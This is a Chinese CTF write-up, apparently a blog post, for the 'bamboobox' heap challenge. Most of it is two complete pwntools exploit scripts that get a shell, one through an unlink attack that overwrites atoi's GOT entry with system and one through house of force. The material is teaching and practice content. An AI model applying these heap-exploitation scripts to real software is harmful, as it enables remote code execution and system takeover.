unlink主要是通过unlink来实现向任意地址写入,这题主要是想通过劫持atoi@plt.got为system函数来实现getshell,有一点需要注意的是只有不在fastbin范围时才可以实现unlink
from pwn import*
p = process("bamboobox")
context.log_level = 'debug'
def add(length,name):
p.recv()
p.sendline("2")
p.recv()
p.sendline(str(length))
p.recv()
p.sendline(name)
def show():
p.recv()
p.sendline("1")
def change(idx,length,name):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(length))
p.recv()
p.sendline(name)
def free(idx):
p.recv()
p.sendline("4")
p.recv()
p.sendline(str(idx))
target = 0x6020c8
fd = target-0x18
bk = target-0x10
add(0x80,"aaaa")
add(0x80,"aaaa")
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)
payload = payload.ljust(0x80,"a")
payload += p64(0x80)+p64(0x90)
change(0,len(payload),payload)
free(1) #进行unlink
change(0,24+8,"a"*24+p64(0x602068)) #此时将指针指向atoi.plt.got跳转
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - 0x36e80
log.success("libc_base:"+hex(libc_base))
sys_addr = 0x45390+libc_base
log.success("sys:"+hex(sys_addr))
change(0,10,p64(sys_addr)) #劫持为system函数
p.recv()
p.sendline("/bin/sh\x00")
#gdb.attach(p)
p.interactive()
这道题还有第二种方法,就是使用house of force来将其劫持到我们分配到的第一个堆上的地址来进行getshell:
from pwn import*
p = process("bamboobox")
#p = remote("node3.buuoj.cn",29182)
#context.log_level = 'debug'
def add(length,name):
p.recv()
p.sendline("2")
p.recv()
p.sendline(str(length))
p.recv()
p.sendline(name)
def show():
p.recv()
p.sendline("1")
def change(idx,length,name):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(length))
p.recv()
p.sendline(name)
def free(idx):
p.recv()
p.sendline("4")
p.recv()
p.sendline(str(idx))
'''target = 0x6020c8
fd = target-0x18
bk = target-0x10
add(0x80,"aaaa")
add(0x80,"aaaa")
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)
payload = payload.ljust(0x80,"a")
payload += p64(0x80)+p64(0x90)
change(0,len(payload),payload)
free(1)
change(0,24+8,"a"*24+p64(0x602068))
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - 0x36e80
log.success("libc_base:"+hex(libc_base))
sys_addr = 0x45390+libc_base
log.success("sys:"+hex(sys_addr))
change(0,10,p64(sys_addr))
p.recv()
p.sendline("/bin/sh\x00")'''
add(0x20,"aaaa")
change(0,0x20+0x10,0x20*'a'+p64(0)+p64(0xffffffffffffffff))
add(-80-0x10,"aaaa")
add(0x10,p64(0x7ffff7a0d000+0xf02a4)*2)
p.recv()
p.sendline("5")
#gdb.attach(p)
# print p.recv()
p.interactive()
我这里是关闭了asrl所以libc_base是固定值,打本地肯定是没问题的,远程肯定是有问题的,当然也可以进行fastbinattrack
网友评论